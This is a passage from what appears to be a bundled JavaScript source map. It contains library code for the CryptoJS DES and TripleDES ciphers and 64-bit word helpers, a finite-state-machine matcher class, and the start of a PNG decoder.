0xd0000: 0x1040,\n\t 0xe0000: 0x1000,\n\t 0xf0000: 0x80401040,\n\t 0x8000: 0x80001040,\n\t 0x18000: 0x40,\n\t 0x28000: 0x80400040,\n\t 0x38000: 0x80001000,\n\t 0x48000: 0x401000,\n\t 0x58000: 0x80401040,\n\t 0x68000: 0x0,\n\t 0x78000: 0x80400000,\n\t 0x88000: 0x1000,\n\t 0x98000: 0x80401000,\n\t 0xa8000: 0x400000,\n\t 0xb8000: 0x1040,\n\t 0xc8000: 0x80000000,\n\t 0xd8000: 0x400040,\n\t 0xe8000: 0x401040,\n\t 0xf8000: 0x80000040,\n\t 0x100000: 0x400040,\n\t 0x110000: 0x401000,\n\t 0x120000: 0x80000040,\n\t 0x130000: 0x0,\n\t 0x140000: 0x1040,\n\t 0x150000: 0x80400040,\n\t 0x160000: 0x80401000,\n\t 0x170000: 0x80001040,\n\t 0x180000: 0x80401040,\n\t 0x190000: 0x80000000,\n\t 0x1a0000: 0x80400000,\n\t 0x1b0000: 0x401040,\n\t 0x1c0000: 0x80001000,\n\t 0x1d0000: 0x400000,\n\t 0x1e0000: 0x40,\n\t 0x1f0000: 0x1000,\n\t 0x108000: 0x80400000,\n\t 0x118000: 0x80401040,\n\t 0x128000: 0x0,\n\t 0x138000: 0x401000,\n\t 0x148000: 0x400040,\n\t 0x158000: 0x80000000,\n\t 0x168000: 0x80001040,\n\t 0x178000: 0x40,\n\t 0x188000: 0x80000040,\n\t 0x198000: 0x1000,\n\t 0x1a8000: 0x80001000,\n\t 0x1b8000: 0x80400040,\n\t 0x1c8000: 0x1040,\n\t 0x1d8000: 0x80401000,\n\t 0x1e8000: 0x400000,\n\t 0x1f8000: 0x401040\n\t },\n\t {\n\t 0x0: 0x80,\n\t 0x1000: 0x1040000,\n\t 0x2000: 0x40000,\n\t 0x3000: 0x20000000,\n\t 0x4000: 0x20040080,\n\t 0x5000: 0x1000080,\n\t 0x6000: 0x21000080,\n\t 0x7000: 0x40080,\n\t 0x8000: 0x1000000,\n\t 0x9000: 0x20040000,\n\t 0xa000: 0x20000080,\n\t 0xb000: 0x21040080,\n\t 0xc000: 0x21040000,\n\t 0xd000: 0x0,\n\t 0xe000: 0x1040080,\n\t 0xf000: 0x21000000,\n\t 0x800: 0x1040080,\n\t 0x1800: 0x21000080,\n\t 0x2800: 0x80,\n\t 0x3800: 0x1040000,\n\t 0x4800: 0x40000,\n\t 0x5800: 0x20040080,\n\t 0x6800: 0x21040000,\n\t 0x7800: 0x20000000,\n\t 0x8800: 0x20040000,\n\t 0x9800: 0x0,\n\t 0xa800: 0x21040080,\n\t 0xb800: 0x1000080,\n\t 0xc800: 0x20000080,\n\t 0xd800: 0x21000000,\n\t 0xe800: 0x1000000,\n\t 0xf800: 0x40080,\n\t 0x10000: 0x40000,\n\t 0x11000: 0x80,\n\t 0x12000: 0x20000000,\n\t 0x13000: 0x21000080,\n\t 0x14000: 0x1000080,\n\t 0x15000: 0x21040000,\n\t 0x16000: 0x20040080,\n\t 0x17000: 0x1000000,\n\t 0x18000: 0x21040080,\n\t 0x19000: 0x21000000,\n\t 0x1a000: 0x1040000,\n\t 0x1b000: 0x20040000,\n\t 0x1c000: 0x40080,\n\t 0x1d000: 0x20000080,\n\t 0x1e000: 0x0,\n\t 0x1f000: 0x1040080,\n\t 0x10800: 0x21000080,\n\t 0x11800: 0x1000000,\n\t 0x12800: 0x1040000,\n\t 0x13800: 0x20040080,\n\t 0x14800: 0x20000000,\n\t 0x15800: 0x1040080,\n\t 0x16800: 0x80,\n\t 0x17800: 0x21040000,\n\t 0x18800: 0x40080,\n\t 0x19800: 0x21040080,\n\t 0x1a800: 0x0,\n\t 0x1b800: 0x21000000,\n\t 0x1c800: 0x1000080,\n\t 0x1d800: 0x40000,\n\t 0x1e800: 0x20040000,\n\t 0x1f800: 0x20000080\n\t },\n\t {\n\t 0x0: 0x10000008,\n\t 0x100: 0x2000,\n\t 0x200: 0x10200000,\n\t 0x300: 0x10202008,\n\t 0x400: 0x10002000,\n\t 0x500: 0x200000,\n\t 0x600: 0x200008,\n\t 0x700: 0x10000000,\n\t 0x800: 0x0,\n\t 0x900: 0x10002008,\n\t 0xa00: 0x202000,\n\t 0xb00: 0x8,\n\t 0xc00: 0x10200008,\n\t 0xd00: 0x202008,\n\t 0xe00: 0x2008,\n\t 0xf00: 0x10202000,\n\t 0x80: 0x10200000,\n\t 0x180: 0x10202008,\n\t 0x280: 0x8,\n\t 0x380: 0x200000,\n\t 0x480: 0x202008,\n\t 0x580: 0x10000008,\n\t 0x680: 0x10002000,\n\t 0x780: 0x2008,\n\t 0x880: 0x200008,\n\t 0x980: 0x2000,\n\t 0xa80: 0x10002008,\n\t 0xb80: 0x10200008,\n\t 0xc80: 0x0,\n\t 0xd80: 0x10202000,\n\t 0xe80: 0x202000,\n\t 0xf80: 0x10000000,\n\t 0x1000: 0x10002000,\n\t 0x1100: 0x10200008,\n\t 0x1200: 0x10202008,\n\t 0x1300: 0x2008,\n\t 0x1400: 0x200000,\n\t 0x1500: 0x10000000,\n\t 0x1600: 0x10000008,\n\t 0x1700: 0x202000,\n\t 0x1800: 0x202008,\n\t 0x1900: 0x0,\n\t 0x1a00: 0x8,\n\t 0x1b00: 0x10200000,\n\t 0x1c00: 0x2000,\n\t 0x1d00: 0x10002008,\n\t 0x1e00: 0x10202000,\n\t 0x1f00: 0x200008,\n\t 0x1080: 0x8,\n\t 0x1180: 0x202000,\n\t 0x1280: 0x200000,\n\t 0x1380: 0x10000008,\n\t 0x1480: 0x10002000,\n\t 0x1580: 0x2008,\n\t 0x1680: 0x10202008,\n\t 0x1780: 0x10200000,\n\t 0x1880: 0x10202000,\n\t 0x1980: 0x10200008,\n\t 0x1a80: 0x2000,\n\t 0x1b80: 0x202008,\n\t 0x1c80: 0x200008,\n\t 0x1d80: 0x0,\n\t 0x1e80: 0x10000000,\n\t 0x1f80: 0x10002008\n\t },\n\t {\n\t 0x0: 0x100000,\n\t 0x10: 0x2000401,\n\t 0x20: 0x400,\n\t 0x30: 0x100401,\n\t 0x40: 0x2100401,\n\t 0x50: 0x0,\n\t 0x60: 0x1,\n\t 0x70: 0x2100001,\n\t 0x80: 0x2000400,\n\t 0x90: 0x100001,\n\t 0xa0: 0x2000001,\n\t 0xb0: 0x2100400,\n\t 0xc0: 0x2100000,\n\t 0xd0: 0x401,\n\t 0xe0: 0x100400,\n\t 0xf0: 0x2000000,\n\t 0x8: 0x2100001,\n\t 0x18: 0x0,\n\t 0x28: 0x2000401,\n\t 0x38: 0x2100400,\n\t 0x48: 0x100000,\n\t 0x58: 0x2000001,\n\t 0x68: 0x2000000,\n\t 0x78: 0x401,\n\t 0x88: 0x100401,\n\t 0x98: 0x2000400,\n\t 0xa8: 0x2100000,\n\t 0xb8: 0x100001,\n\t 0xc8: 0x400,\n\t 0xd8: 0x2100401,\n\t 0xe8: 0x1,\n\t 0xf8: 0x100400,\n\t 0x100: 0x2000000,\n\t 0x110: 0x100000,\n\t 0x120: 0x2000401,\n\t 0x130: 0x2100001,\n\t 0x140: 0x100001,\n\t 0x150: 0x2000400,\n\t 0x160: 0x2100400,\n\t 0x170: 0x100401,\n\t 0x180: 0x401,\n\t 0x190: 0x2100401,\n\t 0x1a0: 0x100400,\n\t 0x1b0: 0x1,\n\t 0x1c0: 0x0,\n\t 0x1d0: 0x2100000,\n\t 0x1e0: 0x2000001,\n\t 0x1f0: 0x400,\n\t 0x108: 0x100400,\n\t 0x118: 0x2000401,\n\t 0x128: 0x2100001,\n\t 0x138: 0x1,\n\t 0x148: 0x2000000,\n\t 0x158: 0x100000,\n\t 0x168: 0x401,\n\t 0x178: 0x2100400,\n\t 0x188: 0x2000001,\n\t 0x198: 0x2100000,\n\t 0x1a8: 0x0,\n\t 0x1b8: 0x2100401,\n\t 0x1c8: 0x100401,\n\t 0x1d8: 0x400,\n\t 0x1e8: 0x2000400,\n\t 0x1f8: 0x100001\n\t },\n\t {\n\t 0x0: 0x8000820,\n\t 0x1: 0x20000,\n\t 0x2: 0x8000000,\n\t 0x3: 0x20,\n\t 0x4: 0x20020,\n\t 0x5: 0x8020820,\n\t 0x6: 0x8020800,\n\t 0x7: 0x800,\n\t 0x8: 0x8020000,\n\t 0x9: 0x8000800,\n\t 0xa: 0x20800,\n\t 0xb: 0x8020020,\n\t 0xc: 0x820,\n\t 0xd: 0x0,\n\t 0xe: 0x8000020,\n\t 0xf: 0x20820,\n\t 0x80000000: 0x800,\n\t 0x80000001: 0x8020820,\n\t 0x80000002: 0x8000820,\n\t 0x80000003: 0x8000000,\n\t 0x80000004: 0x8020000,\n\t 0x80000005: 0x20800,\n\t 0x80000006: 0x20820,\n\t 0x80000007: 0x20,\n\t 0x80000008: 0x8000020,\n\t 0x80000009: 0x820,\n\t 0x8000000a: 0x20020,\n\t 0x8000000b: 0x8020800,\n\t 0x8000000c: 0x0,\n\t 0x8000000d: 0x8020020,\n\t 0x8000000e: 0x8000800,\n\t 0x8000000f: 0x20000,\n\t 0x10: 0x20820,\n\t 0x11: 0x8020800,\n\t 0x12: 0x20,\n\t 0x13: 0x800,\n\t 0x14: 0x8000800,\n\t 0x15: 0x8000020,\n\t 0x16: 0x8020020,\n\t 0x17: 0x20000,\n\t 0x18: 0x0,\n\t 0x19: 0x20020,\n\t 0x1a: 0x8020000,\n\t 0x1b: 0x8000820,\n\t 0x1c: 0x8020820,\n\t 0x1d: 0x20800,\n\t 0x1e: 0x820,\n\t 0x1f: 0x8000000,\n\t 0x80000010: 0x20000,\n\t 0x80000011: 0x800,\n\t 0x80000012: 0x8020020,\n\t 0x80000013: 0x20820,\n\t 0x80000014: 0x20,\n\t 0x80000015: 0x8020000,\n\t 0x80000016: 0x8000000,\n\t 0x80000017: 0x8000820,\n\t 0x80000018: 0x8020820,\n\t 0x80000019: 0x8000020,\n\t 0x8000001a: 0x8000800,\n\t 0x8000001b: 0x0,\n\t 0x8000001c: 0x20800,\n\t 0x8000001d: 0x820,\n\t 0x8000001e: 0x20020,\n\t 0x8000001f: 0x8020800\n\t }\n\t ];\n\n\t // Masks that select the SBOX input\n\t var SBOX_MASK = [\n\t 0xf8000001, 0x1f800000, 0x01f80000, 0x001f8000,\n\t 0x0001f800, 0x00001f80, 0x000001f8, 0x8000001f\n\t ];\n\n\t /**\n\t * DES block cipher algorithm.\n\t */\n\t var DES = C_algo.DES = BlockCipher.extend({\n\t _doReset: function () {\n\t // Shortcuts\n\t var key = this._key;\n\t var keyWords = key.words;\n\n\t // Select 56 bits according to PC1\n\t var keyBits = [];\n\t for (var i = 0; i < 56; i++) {\n\t var keyBitPos = PC1[i] - 1;\n\t keyBits[i] = (keyWords[keyBitPos >>> 5] >>> (31 - keyBitPos % 32)) & 1;\n\t }\n\n\t // Assemble 16 subkeys\n\t var subKeys = this._subKeys = [];\n\t for (var nSubKey = 0; nSubKey < 16; nSubKey++) {\n\t // Create subkey\n\t var subKey = subKeys[nSubKey] = [];\n\n\t // Shortcut\n\t var bitShift = BIT_SHIFTS[nSubKey];\n\n\t // Select 48 bits according to PC2\n\t for (var i = 0; i < 24; i++) {\n\t // Select from the left 28 key bits\n\t subKey[(i / 6) | 0] |= keyBits[((PC2[i] - 1) + bitShift) % 28] << (31 - i % 6);\n\n\t // Select from the right 28 key bits\n\t subKey[4 + ((i / 6) | 0)] |= keyBits[28 + (((PC2[i + 24] - 1) + bitShift) % 28)] << (31 - i % 6);\n\t }\n\n\t // Since each subkey is applied to an expanded 32-bit input,\n\t // the subkey can be broken into 8 values scaled to 32-bits,\n\t // which allows the key to be used without expansion\n\t subKey[0] = (subKey[0] << 1) | (subKey[0] >>> 31);\n\t for (var i = 1; i < 7; i++) {\n\t subKey[i] = subKey[i] >>> ((i - 1) * 4 + 3);\n\t }\n\t subKey[7] = (subKey[7] << 5) | (subKey[7] >>> 27);\n\t }\n\n\t // Compute inverse subkeys\n\t var invSubKeys = this._invSubKeys = [];\n\t for (var i = 0; i < 16; i++) {\n\t invSubKeys[i] = subKeys[15 - i];\n\t }\n\t },\n\n\t encryptBlock: function (M, offset) {\n\t this._doCryptBlock(M, offset, this._subKeys);\n\t },\n\n\t decryptBlock: function (M, offset) {\n\t this._doCryptBlock(M, offset, this._invSubKeys);\n\t },\n\n\t _doCryptBlock: function (M, offset, subKeys) {\n\t // Get input\n\t this._lBlock = M[offset];\n\t this._rBlock = M[offset + 1];\n\n\t // Initial permutation\n\t exchangeLR.call(this, 4, 0x0f0f0f0f);\n\t exchangeLR.call(this, 16, 0x0000ffff);\n\t exchangeRL.call(this, 2, 0x33333333);\n\t exchangeRL.call(this, 8, 0x00ff00ff);\n\t exchangeLR.call(this, 1, 0x55555555);\n\n\t // Rounds\n\t for (var round = 0; round < 16; round++) {\n\t // Shortcuts\n\t var subKey = subKeys[round];\n\t var lBlock = this._lBlock;\n\t var rBlock = this._rBlock;\n\n\t // Feistel function\n\t var f = 0;\n\t for (var i = 0; i < 8; i++) {\n\t f |= SBOX_P[i][((rBlock ^ subKey[i]) & SBOX_MASK[i]) >>> 0];\n\t }\n\t this._lBlock = rBlock;\n\t this._rBlock = lBlock ^ f;\n\t }\n\n\t // Undo swap from last round\n\t var t = this._lBlock;\n\t this._lBlock = this._rBlock;\n\t this._rBlock = t;\n\n\t // Final permutation\n\t exchangeLR.call(this, 1, 0x55555555);\n\t exchangeRL.call(this, 8, 0x00ff00ff);\n\t exchangeRL.call(this, 2, 0x33333333);\n\t exchangeLR.call(this, 16, 0x0000ffff);\n\t exchangeLR.call(this, 4, 0x0f0f0f0f);\n\n\t // Set output\n\t M[offset] = this._lBlock;\n\t M[offset + 1] = this._rBlock;\n\t },\n\n\t keySize: 64/32,\n\n\t ivSize: 64/32,\n\n\t blockSize: 64/32\n\t });\n\n\t // Swap bits across the left and right words\n\t function exchangeLR(offset, mask) {\n\t var t = ((this._lBlock >>> offset) ^ this._rBlock) & mask;\n\t this._rBlock ^= t;\n\t this._lBlock ^= t << offset;\n\t }\n\n\t function exchangeRL(offset, mask) {\n\t var t = ((this._rBlock >>> offset) ^ this._lBlock) & mask;\n\t this._lBlock ^= t;\n\t this._rBlock ^= t << offset;\n\t }\n\n\t /**\n\t * Shortcut functions to the cipher's object interface.\n\t *\n\t * @example\n\t *\n\t * var ciphertext = CryptoJS.DES.encrypt(message, key, cfg);\n\t * var plaintext = CryptoJS.DES.decrypt(ciphertext, key, cfg);\n\t */\n\t C.DES = BlockCipher._createHelper(DES);\n\n\t /**\n\t * Triple-DES block cipher algorithm.\n\t */\n\t var TripleDES = C_algo.TripleDES = BlockCipher.extend({\n\t _doReset: function () {\n\t // Shortcuts\n\t var key = this._key;\n\t var keyWords = key.words;\n\t // Make sure the key length is valid (64, 128 or >= 192 bit)\n\t if (keyWords.length !== 2 && keyWords.length !== 4 && keyWords.length < 6) {\n\t throw new Error('Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192.');\n\t }\n\n\t // Extend the key according to the keying options defined in 3DES standard\n\t var key1 = keyWords.slice(0, 2);\n\t var key2 = keyWords.length < 4 ? keyWords.slice(0, 2) : keyWords.slice(2, 4);\n\t var key3 = keyWords.length < 6 ? keyWords.slice(0, 2) : keyWords.slice(4, 6);\n\n\t // Create DES instances\n\t this._des1 = DES.createEncryptor(WordArray.create(key1));\n\t this._des2 = DES.createEncryptor(WordArray.create(key2));\n\t this._des3 = DES.createEncryptor(WordArray.create(key3));\n\t },\n\n\t encryptBlock: function (M, offset) {\n\t this._des1.encryptBlock(M, offset);\n\t this._des2.decryptBlock(M, offset);\n\t this._des3.encryptBlock(M, offset);\n\t },\n\n\t decryptBlock: function (M, offset) {\n\t this._des3.decryptBlock(M, offset);\n\t this._des2.encryptBlock(M, offset);\n\t this._des1.decryptBlock(M, offset);\n\t },\n\n\t keySize: 192/32,\n\n\t ivSize: 64/32,\n\n\t blockSize: 64/32\n\t });\n\n\t /**\n\t * Shortcut functions to the cipher's object interface.\n\t *\n\t * @example\n\t *\n\t * var ciphertext = CryptoJS.TripleDES.encrypt(message, key, cfg);\n\t * var plaintext = CryptoJS.TripleDES.decrypt(ciphertext, key, cfg);\n\t */\n\t C.TripleDES = BlockCipher._createHelper(TripleDES);\n\t}());\n\n\n\treturn CryptoJS.TripleDES;\n\n}));",";(function (root, factory) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function (undefined) {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var Base = C_lib.Base;\n\t var X32WordArray = C_lib.WordArray;\n\n\t /**\n\t * x64 namespace.\n\t */\n\t var C_x64 = C.x64 = {};\n\n\t /**\n\t * A 64-bit word.\n\t */\n\t var X64Word = C_x64.Word = Base.extend({\n\t /**\n\t * Initializes a newly created 64-bit word.\n\t *\n\t * @param {number} high The high 32 bits.\n\t * @param {number} low The low 32 bits.\n\t *\n\t * @example\n\t *\n\t * var x64Word = CryptoJS.x64.Word.create(0x00010203, 0x04050607);\n\t */\n\t init: function (high, low) {\n\t this.high = high;\n\t this.low = low;\n\t }\n\n\t /**\n\t * Bitwise NOTs this word.\n\t *\n\t * @return {X64Word} A new x64-Word object after negating.\n\t *\n\t * @example\n\t *\n\t * var negated = x64Word.not();\n\t */\n\t // not: function () {\n\t // var high = ~this.high;\n\t // var low = ~this.low;\n\n\t // return X64Word.create(high, low);\n\t // },\n\n\t /**\n\t * Bitwise ANDs this word with the passed word.\n\t *\n\t * @param {X64Word} word The x64-Word to AND with this word.\n\t *\n\t * @return {X64Word} A new x64-Word object after ANDing.\n\t *\n\t * @example\n\t *\n\t * var anded = x64Word.and(anotherX64Word);\n\t */\n\t // and: function (word) {\n\t // var high = this.high & word.high;\n\t // var low = this.low & word.low;\n\n\t // return X64Word.create(high, low);\n\t // },\n\n\t /**\n\t * Bitwise ORs this word with the passed word.\n\t *\n\t * @param {X64Word} word The x64-Word to OR with this word.\n\t *\n\t * @return {X64Word} A new x64-Word object after ORing.\n\t *\n\t * @example\n\t *\n\t * var ored = x64Word.or(anotherX64Word);\n\t */\n\t // or: function (word) {\n\t // var high = this.high | word.high;\n\t // var low = this.low | word.low;\n\n\t // return X64Word.create(high, low);\n\t // },\n\n\t /**\n\t * Bitwise XORs this word with the passed word.\n\t *\n\t * @param {X64Word} word The x64-Word to XOR with this word.\n\t *\n\t * @return {X64Word} A new x64-Word object after XORing.\n\t *\n\t * @example\n\t *\n\t * var xored = x64Word.xor(anotherX64Word);\n\t */\n\t // xor: function (word) {\n\t // var high = this.high ^ word.high;\n\t // var low = this.low ^ word.low;\n\n\t // return X64Word.create(high, low);\n\t // },\n\n\t /**\n\t * Shifts this word n bits to the left.\n\t *\n\t * @param {number} n The number of bits to shift.\n\t *\n\t * @return {X64Word} A new x64-Word object after shifting.\n\t *\n\t * @example\n\t *\n\t * var shifted = x64Word.shiftL(25);\n\t */\n\t // shiftL: function (n) {\n\t // if (n < 32) {\n\t // var high = (this.high << n) | (this.low >>> (32 - n));\n\t // var low = this.low << n;\n\t // } else {\n\t // var high = this.low << (n - 32);\n\t // var low = 0;\n\t // }\n\n\t // return X64Word.create(high, low);\n\t // },\n\n\t /**\n\t * Shifts this word n bits to the right.\n\t *\n\t * @param {number} n The number of bits to shift.\n\t *\n\t * @return {X64Word} A new x64-Word object after shifting.\n\t *\n\t * @example\n\t *\n\t * var shifted = x64Word.shiftR(7);\n\t */\n\t // shiftR: function (n) {\n\t // if (n < 32) {\n\t // var low = (this.low >>> n) | (this.high << (32 - n));\n\t // var high = this.high >>> n;\n\t // } else {\n\t // var low = this.high >>> (n - 32);\n\t // var high = 0;\n\t // }\n\n\t // return X64Word.create(high, low);\n\t // },\n\n\t /**\n\t * Rotates this word n bits to the left.\n\t *\n\t * @param {number} n The number of bits to rotate.\n\t *\n\t * @return {X64Word} A new x64-Word object after rotating.\n\t *\n\t * @example\n\t *\n\t * var rotated = x64Word.rotL(25);\n\t */\n\t // rotL: function (n) {\n\t // return this.shiftL(n).or(this.shiftR(64 - n));\n\t // },\n\n\t /**\n\t * Rotates this word n bits to the right.\n\t *\n\t * @param {number} n The number of bits to rotate.\n\t *\n\t * @return {X64Word} A new x64-Word object after rotating.\n\t *\n\t * @example\n\t *\n\t * var rotated = x64Word.rotR(7);\n\t */\n\t // rotR: function (n) {\n\t // return this.shiftR(n).or(this.shiftL(64 - n));\n\t // },\n\n\t /**\n\t * Adds this word with the passed word.\n\t *\n\t * @param {X64Word} word The x64-Word to add with this word.\n\t *\n\t * @return {X64Word} A new x64-Word object after adding.\n\t *\n\t * @example\n\t *\n\t * var added = x64Word.add(anotherX64Word);\n\t */\n\t // add: function (word) {\n\t // var low = (this.low + word.low) | 0;\n\t // var carry = (low >>> 0) < (this.low >>> 0) ? 1 : 0;\n\t // var high = (this.high + word.high + carry) | 0;\n\n\t // return X64Word.create(high, low);\n\t // }\n\t });\n\n\t /**\n\t * An array of 64-bit words.\n\t *\n\t * @property {Array} words The array of CryptoJS.x64.Word objects.\n\t * @property {number} sigBytes The number of significant bytes in this word array.\n\t */\n\t var X64WordArray = C_x64.WordArray = Base.extend({\n\t /**\n\t * Initializes a newly created word array.\n\t *\n\t * @param {Array} words (Optional) An array of CryptoJS.x64.Word objects.\n\t * @param {number} sigBytes (Optional) The number of significant bytes in the words.\n\t *\n\t * @example\n\t *\n\t * var wordArray = CryptoJS.x64.WordArray.create();\n\t *\n\t * var wordArray = CryptoJS.x64.WordArray.create([\n\t * CryptoJS.x64.Word.create(0x00010203, 0x04050607),\n\t * CryptoJS.x64.Word.create(0x18191a1b, 0x1c1d1e1f)\n\t * ]);\n\t *\n\t * var wordArray = CryptoJS.x64.WordArray.create([\n\t * CryptoJS.x64.Word.create(0x00010203, 0x04050607),\n\t * CryptoJS.x64.Word.create(0x18191a1b, 0x1c1d1e1f)\n\t * ], 10);\n\t */\n\t init: function (words, sigBytes) {\n\t words = this.words = words || [];\n\n\t if (sigBytes != undefined) {\n\t this.sigBytes = sigBytes;\n\t } else {\n\t this.sigBytes = words.length * 8;\n\t }\n\t },\n\n\t /**\n\t * Converts this 64-bit word array to a 32-bit word array.\n\t *\n\t * @return {CryptoJS.lib.WordArray} This word array's data as a 32-bit word array.\n\t *\n\t * @example\n\t *\n\t * var x32WordArray = x64WordArray.toX32();\n\t */\n\t toX32: function () {\n\t // Shortcuts\n\t var x64Words = this.words;\n\t var x64WordsLength = x64Words.length;\n\n\t // Convert\n\t var x32Words = [];\n\t for (var i = 0; i < x64WordsLength; i++) {\n\t var x64Word = x64Words[i];\n\t x32Words.push(x64Word.high);\n\t x32Words.push(x64Word.low);\n\t }\n\n\t return X32WordArray.create(x32Words, this.sigBytes);\n\t },\n\n\t /**\n\t * Creates a copy of this word array.\n\t *\n\t * @return {X64WordArray} The clone.\n\t *\n\t * @example\n\t *\n\t * var clone = x64WordArray.clone();\n\t */\n\t clone: function () {\n\t var clone = Base.clone.call(this);\n\n\t // Clone \"words\" array\n\t var words = clone.words = this.words.slice(0);\n\n\t // Clone each X64Word object\n\t var wordsLength = words.length;\n\t for (var i = 0; i < wordsLength; i++) {\n\t words[i] = words[i].clone();\n\t }\n\n\t return clone;\n\t }\n\t });\n\t}());\n\n\n\treturn CryptoJS;\n\n}));","const INITIAL_STATE = 1;\nconst FAIL_STATE = 0;\n\n/**\n * A StateMachine represents a deterministic finite automaton.\n * It can perform matches over a sequence of values, similar to a regular expression.\n */\nexport default class StateMachine {\n constructor(dfa) {\n this.stateTable = dfa.stateTable;\n this.accepting = dfa.accepting;\n this.tags = dfa.tags;\n }\n\n /**\n * Returns an iterable object that yields pattern matches over the input sequence.\n * Matches are of the form [startIndex, endIndex, tags].\n */\n match(str) {\n let self = this;\n return {\n *[Symbol.iterator]() {\n let state = INITIAL_STATE;\n let startRun = null;\n let lastAccepting = null;\n let lastState = null;\n\n for (let p = 0; p < str.length; p++) {\n let c = str[p];\n\n lastState = state;\n state = self.stateTable[state][c];\n\n if (state === FAIL_STATE) {\n // yield the last match if any\n if (startRun != null && lastAccepting != null && lastAccepting >= startRun) {\n yield [startRun, lastAccepting, self.tags[lastState]];\n }\n\n // reset the state as if we started over from the initial state\n state = self.stateTable[INITIAL_STATE][c];\n startRun = null;\n }\n\n // start a run if not in the failure state\n if (state !== FAIL_STATE && startRun == null) {\n startRun = p;\n }\n\n // if accepting, mark the potential match end\n if (self.accepting[state]) {\n lastAccepting = p;\n }\n\n // reset the state to the initial state if we get into the failure state\n if (state === FAIL_STATE) {\n state = INITIAL_STATE;\n }\n }\n\n // yield the last match if any\n if (startRun != null && lastAccepting != null && lastAccepting >= startRun) {\n yield [startRun, lastAccepting, self.tags[state]];\n }\n }\n };\n }\n\n /**\n * For each match over the input sequence, action functions matching\n * the tag definitions in the input pattern are called with the startIndex,\n * endIndex, and sub-match sequence.\n */\n apply(str, actions) {\n for (let [start, end, tags] of this.match(str)) {\n for (let tag of tags) {\n if (typeof actions[tag] === 'function') {\n actions[tag](start, end, str.slice(start, end + 1));\n }\n }\n }\n }\n}\n","/*\n * MIT LICENSE\n * Copyright (c) 2011 Devon Govett\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this\n * software and associated documentation files (the \"Software\"), to deal in the Software\n * without restriction, including without limitation the rights to use, copy, modify, merge,\n * publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons\n * to whom the Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or\n * substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING\n * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\nconst fs = require('fs');\nconst zlib = require('zlib');\n\nmodule.exports = class PNG {\n static decode(path, fn) {\n return fs.readFile(path, function(err, file) {\n const png = new PNG(file);\n return png.decode(pixels => fn(pixels));\n });\n }\n\n static load(path) {\n const file = fs.readFileSync(path);\n return new PNG(file);\n }\n\n constructor(data) {\n let i;\n this.data = data;\n this.pos = 8; // Skip the default header\n\n this.palette = [];\n this.imgData = [];\n this.transparency = {};\n this.text = {};\n\n while (true) {\n const chunkSize = this.readUInt32();\n let section = '';\n for (i = 0; i < 4; i++) {\n section += String.fromCharCode(this.data[this.pos++]);\n }\n\n switch (section) {\n case 'IHDR':\n // we can grab interesting values from here (like width, height, etc)\n this.width = this.readUInt32();\n this.height = this.readUInt32();\n this.bits = this.data[this.pos++];\n this.colorType = this.data[this.pos++];\n this.compressionMethod = this.data[this.pos++];\n this.filterMethod = this.data[this.pos++];\n this.interlaceMethod = this.data[this.pos++];\n break;\n\n case 'PLTE':\n this.palette = this.read(chunkSize);\n break;\n\n case 'IDAT':\n for (i = 0; i < chunkSize; i++) {\n this.imgData.push(this.data[this.pos++]);\n }\n break;\n\n case 'tRNS':\n // This chunk can only occur once and it must occur after the\n // PLTE chunk and before the IDAT chunk.\n this.transparency = {};\n switch (this.colorType) {\n case 3:\n // Indexed color, RGB. Each byte in this chunk is an alpha for\n // the palette index in the PLTE (\"palette\") chunk up until the\n // last non-opaque entry. Set up an array, stretching over all\n // palette entries which will be 0 (opaque) or 1 (transparent).\n this.transparency.indexed = this.read(chunkSize);\n var short = 255 - this.transparency.indexed.length;\n if (short > 0) {\n for (i = 0; i < short; i++) {\n this.transparency.indexed.push(255);\n }\n }\n break;\n case 0:\n // Greyscale. Corresponding to entries in the PLTE chunk.\n // Grey is two bytes, range 0 .. (2 ^ bit-depth) - 1\n this.transparency.grayscale = this.read(chunkSize)[0];\n break;\n case 2:\n // True color with proper alpha channel.\n this.transparency.rgb = this.read(chunkSize);\n break;\n }\n break;\n\n case 'tEXt':\n var text = this.read(chunkSize);\n var index = text.indexOf(0);\n var key = String.fromCharCode.apply(String, text.slice(0, index));\n this.text[key] = String.fromCharCode.apply(\n String,\n text.slice(index + 1)\n );\n break;\n\n case 'IEND':\n // we've got everything we need!\n switch (this.colorType) {\n case 0:\n case 3:\n case 4:\n this.colors = 1;\n break;\n case 2:\n case 6:\n this.colors = 3;\n break;\n }\n\n this.hasAlphaChannel = [4, 6].includes(this.colorType);\n var colors = this.colors + (this.hasAlphaChannel ? 1 : 0);\n this.pixelBitlength = this.bits * colors;\n\n switch (this.colors) {\n case 1:\n this.colorSpace = 'DeviceGray';\n break;\n case 3:\n this.colorSpace = 'DeviceRGB';\n break;\n }\n\n this.imgData = new Buffer(this.imgData);\n return;\n break;\n\n default:\n // unknown (or unimportant) section, skip it\n this.pos += chunkSize;\n }\n\n this.pos += 4; // Skip the CRC\n\n if (this.pos > this.data.length) {\n throw new Error('Incomplete or corrupt PNG file');\n }\n }\n }\n\n read(bytes) {\n const result = new Array(bytes);\n for (let i = 0; i < bytes; i++) {\n result[i] = this.data[this.pos++];\n }\n return result;\n }\n\n readUInt32() {\n const b1 = this.data[this.pos++] << 24;\n const b2 = this.data[this.pos++] << 16;\n const b3 = this.data[this.pos++] << 8;\n const 